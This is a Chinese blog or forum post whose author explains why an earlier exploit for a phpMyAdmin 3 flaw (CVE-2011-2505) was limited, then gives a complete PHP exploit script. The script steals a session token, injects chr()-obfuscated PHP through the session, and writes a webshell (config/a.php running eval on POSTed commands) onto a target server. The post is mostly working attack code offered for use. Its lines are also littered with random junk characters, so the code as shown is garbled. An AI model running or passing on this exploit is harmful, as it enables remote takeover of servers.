最近在家做专职奶爸,不谙圈内事很多months了,博客也无更新。
' d2 h" _5 o$ R; b& ]4 j, F
' v. j7 l+ {5 P/ C# R昨夜带孩子整夜未眠,看到黑哥在php security群里关于phpmyadmin3漏洞的讨论,虽然之前没看过漏洞代码,不过前段时间还是在微博上看到wofeiwo的exp了,不过据黑哥说有不鸡肋的利用方法,于是夜里翻代码出来研究了翻,写出了这个冷饭exp,由于我搞的晚了,之前已经很多人研究了写exp了,于是我这个属于炒冷饭,权当研究研究打发时间了。' Z ~) a% M& Y } u$ c3 l
% a8 T3 W! w/ v+ V
首先赞下wofeiwo的python版本的exp,再赞下wofeiwo跟superhei的钻研精神,学习的榜样啊。不过之前那个exp利用起来是有一些限制的:: h R% U8 j! W d) o+ M0 D' o
一是session.auto_start = 1;
; c; C% N! ~" x- `! s5 y二是pma3默认代码里libraries目录已经用.htaccess控制了不允许访问。& j: u+ G6 Y. ~. E4 f" l, D3 ?
当然还有第三点大家都不可以逾越的鸿沟:config目录存在且可写。" l5 N+ i2 s3 L/ I4 K* u
6 i9 T4 L) z+ I. X! k7 ?% Z在群里看了黑哥的发言后,再看了下代码,发现前两点利用限制均可以无视。所以其实这个漏洞还真的可以不是那么鸡肋。
: b( F ~% g* w' [5 q; C. G- R6 C3 k3 f6 |6 [/ ]* z. W" r; x' ^, ?
于是写了这个php版本的exp,代码如下:5 E5 w; @9 i; [' v3 v
0 Y6 E* g6 `: p; W) `4 Y% X#!/usr/bin/php1 n s+ x4 i% F+ a- i
<?php
) |+ G/ Q% j0 T4 F8 Z0 H5 ~% bprint_r(': a! ~) k, l3 [! N3 B
+---------------------------------------------------------------------------+
5 @7 w! P! K5 _+ Y. @pma3 - phpMyAdmin3 remote code execute exploit [Not jilei(chicken\'s ribs)]
7 J# I9 a5 R z# Kby oldjun(www.oldjun.com)
9 [4 s D3 {$ Ywelcome to www.t00ls.net
" w5 U) ^0 r3 H( i$ D- Imail: oldjun@gmail.com
/ ~% }, e' I! W2 @) h. @Assigned CVE id: CVE-2011-2505
# O5 K+ X# @- ^7 \& ]+---------------------------------------------------------------------------+' n" j- b* R9 U: q
');
) A2 f* P( H/ K: ^- ~
/ ]5 I/ @* S2 F7 R; f A: g- ]& f/**
0 n3 J: m, H+ f4 L! w * working when the directory:"config" exists and is writeable.
, b: i" a0 f% m, N7 F& ], N**/
: B) \% E6 t# k7 l, j & W" o6 g7 `, y9 a8 {5 H/ S6 U
if ($argc < 3) {
& o" C+ k( Y4 }! }* j1 c print_r('
0 k. \* T, @4 l8 e+---------------------------------------------------------------------------+" S+ W! M+ W0 i
Usage: php '.$argv[0].' host path
; [4 f9 i# A8 r- ]% ~+ A9 uhost: target server (ip/hostname)
' y: w& \0 w. d2 v+ zpath: path to pma37 D) r' Q2 u l, M) k! R/ {
Example:8 L4 {$ |3 y' N3 N
php '.$argv[0].' localhost /pma/$ f0 W1 w; n- k3 c) U. {' A
+---------------------------------------------------------------------------+
, h3 j. H! d! q');
, x% ?- a6 i" s exit;2 D3 h( j% b6 V8 {% j# c
}* f% [) W1 c0 s! A5 j! `3 S
: s3 n4 Y8 r. f% U# R' @: a8 m' e$host = $argv[1];" p# m a( D. V" m/ y6 a
$path = $argv[2];
- _& C! ]0 ]7 C+ r3 s# V( H4 Q6 [/ B6 l" n6 E& m
/**
2 |! _7 z( ^0 m. e2 t+ D+ F * Try to determine if the directory:"config" exists
# h: j& ^/ O3 Z( F" Q. [2 ~. A8 j**/
2 c/ i6 `8 v2 g. i" k& _9 ]; secho "[+] Try to determine if the directory:config exists....\n";
- i2 ~5 t3 d6 |* {$ t1 b7 I$returnstr=php_request('config/');; ~/ O' o- E4 ]* f) e# |7 T4 O! z
if(strpos($returnstr,'404')){
# F3 q. N0 V1 a s9 o8 k exit("[-] Exploit Failed! The directory:config do not exists!\n");/ j% C2 L) L! ~% o2 y
}( r# N1 j4 l1 x% G' w
( f% [* d$ R: ^
/**
% q* c L1 r- ^ \8 V * Try to get token and sessionid
0 D. \$ V. ?- Y$ M9 \**/
/ R1 x" M+ ?& A' M3 E& Lecho "[+] Try to get token and sessionid....\n";
, u) g( f+ r! D7 l: Y w$result=php_request('index.php');5 N- H( M" f# r$ V
preg_match('/phpMyAdmin=(\w{32,40})\;(.*?)token=(\w{32})\&/s', $result, $resp);
! I }/ Q( T) q* g6 L$token=$resp[3];; d; _! z! f2 e) z- e- x1 J0 |
$sessionid=$resp[1];& _; I: N& _& Z; D) T: _& U
if($token && $sessionid){
8 I7 I# [$ \* O/ O( X' O echo "[+] token token\n";
* Z3 e0 S5 b( f A% ^$ Q2 B echo "[+] Session ID sessionid\n";7 q, T6 l7 k S1 u
}else{
: I7 ]8 P. n3 n9 V# p exit("[-] Can't get token and Session ID,Exploit Failed!\n");
# _5 l; j1 ^5 J9 i9 k}
$ I# |$ ?- A/ \
2 i; P; I4 F0 m; K/**
) O1 B6 S* H& F+ y4 z * Try to insert shell into session
' ?0 B8 S1 B, U& W+ D7 Q T**/: A" t4 P/ ?1 Z9 u( k* R
echo "[+] Try to insert shell into session....\n";
2 m1 P9 y8 u2 M1 \- I* K! f/ mphp_request('db_create.php?token='.$token.'&session_to_unset=t00ls&_SESSION[ConfigFile][Servers][*/eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59).chr(101).chr(99).chr(104).chr(111).chr(40).chr(39).chr(116).chr(48).chr(48).chr(108).chr(115).chr(39).chr(41).chr(59));/*][host]=t00ls.net','','phpMyAdmin='.$sessionid);//Actually,almost all the php files in home directory of pma3 can be used here.
# R/ d/ ~* C+ b a" T4 Q' B& |9 Y) A
/**
; D9 S) X6 G4 p q. _2 P. |1 m * Try to create webshell! S( J, C; x7 M& d
**/
& Q. F+ \0 K8 f$ z: Becho "[+] Try to create webshell....\n";# w6 d1 ]* d2 d* C
php_request('setup/config.php','phpMyAdmin='.$sessionid.'&tab_hash=&token='.$token.'&check_page_refresh=&DefaultLang=en&ServerDefault=0&eol=unix&submit_save=Save','phpMyAdmin='.$sessionid);
0 Y$ b* D1 a4 k) x( W# J: S+ ?1 Y+ X/**
' {' n! w' t3 u+ Y+ I; m4 ?3 \ * Try to check if the webshell was created successfully
4 Q0 Q7 L p: `& z' c# Y: z**/
0 _+ v* G5 k2 M7 p: Qecho "[+] Try to check if the webshell was created successfully....\n";
; N5 Y( p5 f' y h# A% i$content=php_request('config/config.inc.php');7 G8 q. ]6 M% r
if(strpos($content,'t00ls')){0 |/ j& N) f3 v" V$ H
echo "[+] Congratulations! Expoilt successfully....\n";
" {8 _# }5 H. ]" J2 {- R echo "[+] Webshell:http://$host{$path}config/a.php eval(\$_POST[cmd])\n";/ E' A; I* k; M2 a
}else{% [* f) M- X" k+ e# ~6 X
exit("[-] Exploit Failed! Perhaps the directory:config do not exists or is not writeable!\n");
3 y7 o) ~ Z: n! m}
; G% c6 _) i; G1 ?5 _. v6 v" \5 H& {* e
function php_request($url,$data='',$cookie=''){7 R& W `& W# W/ H4 e
global $host, $path;4 `. s f% g" P; `! C1 Y
$ K. p: {1 {$ X( v, I' p
$method=$data?'POST':'GET';
2 R1 P8 x# f" ^$ b8 r7 `( W+ ^
4 z3 _6 G: K) T& S9 p0 j $packet = $method." ".$path.$url." HTTP/1.1\r\n";2 I( r3 I" D9 V
$packet .= "Accept: */*\r\n";
0 \# u$ x, X ~9 O! j1 @ $packet .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";8 H$ h9 @& t" C( x8 B6 T" Q
$packet .= "Host: $host\r\n";9 a6 h9 {* a% l d4 m; I0 X
$packet .= $data?"Content-Type: application/x-www-form-urlencoded\r\n":"";) d- _4 X( v8 F* V8 U
$packet .= $data?"Content-Length: ".strlen($data)."\r\n":"";
- s7 d8 K$ \" I$ W0 ` $packet .= $cookie?"Cookie: $cookie\r\n":"";
S. Y; e r2 e9 a4 V: h $packet .= "Connection: Close\r\n\r\n";- j- D( |( k# L, c+ L
$packet .= $data?$data:"";
/ z @9 P* |' j. k
/ Q- h0 p" B0 @8 ^$ C9 j $fp = fsockopen(gethostbyname($host), 80);
2 l9 P0 s# j: z" M3 c6 H if (!$fp) {2 N# ?; D G2 C: N# _
echo 'No response from '.$host; die;9 J* Y; h/ |, z* a
}
4 F; _! [: B. }/ v8 b: D fputs($fp, $packet);6 M k0 ~: M {$ e; V
% {/ `; H, h5 n1 d' y. I
$resp = '';/ Q0 V/ }' j* t. H: L/ S
* Z3 F8 f5 a/ z- q4 A2 F4 ]* z while ($fp && !feof($fp))( o! j" b7 n$ E3 }8 r: }
$resp .= fread($fp, 1024);. c- ~ `- N4 Q% |+ k7 x) T
& m* ~: w& m9 x! k2 D
return $resp;9 ~* @6 C: i: v" c
}
5 z, l# B+ u' R4 G# h7 t. W# P( b
) Q+ L4 p2 |. U- K?> & L( U2 _2 G1 Q l* n
. |